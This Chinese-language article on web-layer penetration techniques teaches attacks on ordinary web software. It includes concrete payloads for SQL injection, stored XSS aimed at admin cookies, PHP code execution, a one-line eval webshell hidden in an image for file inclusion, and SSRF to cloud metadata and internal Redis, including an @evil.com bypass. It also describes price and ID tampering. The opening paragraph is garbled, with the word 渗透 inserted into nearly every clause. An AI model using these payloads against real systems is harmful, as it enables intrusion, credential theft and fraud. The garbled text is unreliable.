web层渗透技能

一个登录框，输入 ' or 渗透1=1 --，回车，渗透直接进了后台。渗透这不是渗透段子，是渗透2019年某个省级政务系统真实发生的事。开发图省事，渗透把用户输入拼进SQL里，渗透WAF也没拦——因为流量走的渗透是内网。web层渗透的渗透核心就一句话：找到应用对“数据”和“代码”的混淆点，然后让数据变成代码执行。渗透别扯什么OWASP Top 10背得多熟，渗透实战里能让你打进去的渗透，往往是渗透那些不起眼的参数和逻辑漏洞。

先说SQL注入。渗透现在纯拼接的少了，但二次注入、宽字节、堆叠查询还在。我见过一个电商站，搜索框过滤了单引号，但Cookie里的user_id没过滤。你把它改成 1 union select 1,2,3--，页面直接回显数据库名。工具？sqlmap当然能用，但别上来就梭哈。手工测几个关键点：order by探列数，union select找回显位，不行再盲注。盲注也分布尔和时间，前者看页面差异，后者看响应延迟。有个小技巧：把sleep(5)换成benchmark(10000000,md5(1))，有些环境sleep被禁了但benchmark还在。

XSS现在难多了，CSP、HttpOnly、Trusted Types层层设防。但存储型XSS依然是后台管理员的大杀器。去年帮朋友看一个CMS，留言板过滤了<script>，但没过滤<img src=x onerror=alert(1)>。更骚的是，他把payload写进用户昵称，管理员在后台用户列表页直接中招。这里有个细节：很多后台用innerHTML渲染数据，你插个<svg/onload=...>就活了。别老想着弹窗，实战里直接打Cookie或者构造CSRF请求删库，效率更高。

命令执行和代码执行经常被混为一谈。PHP里system()、exec()、shell_exec()，还有反引号，都是命令执行。代码执行则是eval()、assert()、preg_replace的/e修饰符（PHP7已移除）。我偏爱preg_replace那个，因为很多老站还在用。比如preg_replace('/.*/e', $_GET['cmd'], '')，直接传phpinfo()。现在流行的是反序列化，PHP的unserialize()、Java的readObject()、Python的pickle.loads()。重点不是构造链，而是找入口——Cookie、参数、甚至数据库里的序列化字段。有个坑：Java反序列化需要目标class在classpath里，所以先信息收集，看用了哪些组件。

文件包含分本地和远程。远程现在基本被allow_url_include关了，但本地包含配合文件上传依然好用。传个图片马，内容写<?php @eval($_POST['x']);?>，然后?file=upload/1.jpg。如果include路径可控，还能用php://filter读源码，或者php://input直接执行POST数据。我遇到过include($_GET['page'].'.php')，用%00截断（PHP<5.3.4）或者../../../etc/passwd。现在PHP7+没截断了，但可以用php://filter/convert.base64-encode/resource=index读文件。

SSRF是内网漫游的钥匙。参数里出现url=、path=、src=、dest=，先测http://127.0.0.1:80。如果返回不同，说明有戏。然后扫内网端口，用dict://、gopher://打Redis、MySQL。有个经典场景：url=http://169.254.169.254/latest/meta-data/，直接拿云服务器AK/SK。别只盯着http，file://读本地文件，gopher://发任意TCP包。我见过一个站，url参数只允许http，但用http://127.0.0.1@evil.com绕过了。

逻辑漏洞才是web层的灵魂。越权、支付篡改、验证码复用、密码重置。一个电商站，修改收货地址时address_id是自增的，我改成别人的ID，直接看到别人地址。支付时把price=100改成price=0.01，订单照样生成。还有密码重置，token是md5(email)，我改个邮箱就重置了管理员密码。这些漏洞扫描器扫不出来，全靠手工测。我的习惯：抓包，改参数，看响应。别怕麻烦，一个参数一个参数试。

最后说工具。Burp Suite是标配，但别只当代理用。Repeater手动测，Intruder跑字典，Scanner辅助。sqlmap、nmap、dirsearch、ffuf，该用就用。但工具会骗你——比如sqlmap报存在注入，结果是个假阳性。所以手工验证永远第一位。web层渗透没有银弹，只有耐心和细节。一个空格、一个大小写、一个编码，都可能决定成败。多动手，少空想。